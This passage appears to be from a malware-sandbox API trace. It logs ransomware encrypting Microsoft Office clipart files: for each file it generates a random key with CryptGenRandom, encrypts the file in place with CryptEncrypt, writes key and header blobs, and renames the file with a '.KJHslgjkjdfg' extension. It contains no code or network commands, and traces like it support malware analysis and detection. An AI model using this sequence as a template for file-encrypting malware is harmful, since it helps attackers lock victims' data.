lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0174.047] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.047] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.047] GetProcessHeap () returned 0x2a0000 [0174.047] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.047] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.047] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.047] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.047] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.047] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.047] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.047] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.047] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.047] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.047] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.047] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.047] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4f4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4f4, lpOverlapped=0x0) returned 1 [0174.047] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x500, dwBufLen=0x500 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x500) returned 1 [0174.047] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.048] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x500, lpOverlapped=0x0) returned 1 [0174.048] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.048] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.048] SetEndOfFile (hFile=0x114) returned 1 [0174.050] GetProcessHeap () returned 0x2a0000 [0174.050] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.050] GetProcessHeap () returned 0x2a0000 [0174.050] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152690.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152690.wmf.kjhslgjkjdfg")) returned 1 [0174.051] CloseHandle (hObject=0x114) returned 1 [0174.051] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x544, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152694.WMF", cAlternateFileName="")) returned 1 [0174.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.052] GetProcessHeap () returned 0x2a0000 [0174.052] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.052] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.052] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.052] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0174.054] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.054] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.054] GetProcessHeap () returned 0x2a0000 [0174.054] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.055] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.055] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.055] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.055] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.055] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.055] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.055] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.055] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.055] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.055] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x544, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x544, lpOverlapped=0x0) returned 1 [0174.055] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x550, dwBufLen=0x550 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x550) returned 1 [0174.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.055] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x550, lpOverlapped=0x0) returned 1 [0174.056] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.056] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.056] SetEndOfFile (hFile=0x114) returned 1 [0174.058] GetProcessHeap () returned 0x2a0000 [0174.058] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.058] GetProcessHeap () returned 0x2a0000 [0174.058] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.058] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.kjhslgjkjdfg")) returned 1 [0174.061] CloseHandle (hObject=0x114) returned 1 [0174.061] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1c98, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152696.WMF", cAlternateFileName="")) returned 1 [0174.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.063] GetProcessHeap () returned 0x2a0000 [0174.063] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.063] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.063] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.063] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.065] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.065] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.065] GetProcessHeap () returned 0x2a0000 [0174.065] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.066] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.066] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.066] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.066] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.066] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.066] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.066] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.066] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.066] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.066] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.066] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.066] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1c98, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1c98, lpOverlapped=0x0) returned 1 [0174.067] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ca0, dwBufLen=0x1ca0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1ca0) returned 1 [0174.068] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.068] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1ca0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1ca0, lpOverlapped=0x0) returned 1 [0174.068] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.068] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1d74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.068] SetEndOfFile (hFile=0x114) returned 1 [0174.071] GetProcessHeap () returned 0x2a0000 [0174.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.071] GetProcessHeap () returned 0x2a0000 [0174.071] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.071] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152696.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152696.wmf.kjhslgjkjdfg")) returned 1 [0174.072] CloseHandle (hObject=0x114) returned 1 [0174.072] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152698.WMF", cAlternateFileName="")) returned 1 [0174.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.073] GetProcessHeap () returned 0x2a0000 [0174.073] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.073] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.073] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.073] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.075] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.075] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.075] GetProcessHeap () returned 0x2a0000 [0174.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.075] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.076] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.076] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.076] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.076] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.076] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.076] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.076] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.076] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.076] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.076] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.077] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4b8, lpOverlapped=0x0) returned 1 [0174.077] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c0) returned 1 [0174.077] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.077] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4c0, lpOverlapped=0x0) returned 1 [0174.077] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.077] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.077] SetEndOfFile (hFile=0x114) returned 1 [0174.079] GetProcessHeap () returned 0x2a0000 [0174.079] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.079] GetProcessHeap () returned 0x2a0000 [0174.079] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.079] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.kjhslgjkjdfg")) returned 1 [0174.080] CloseHandle (hObject=0x114) returned 1 [0174.080] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152702.WMF", cAlternateFileName="")) returned 1 [0174.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.082] GetProcessHeap () returned 0x2a0000 [0174.082] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.082] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.082] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.082] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.083] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.084] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.084] GetProcessHeap () returned 0x2a0000 [0174.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.084] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.084] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.084] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.084] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.084] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, 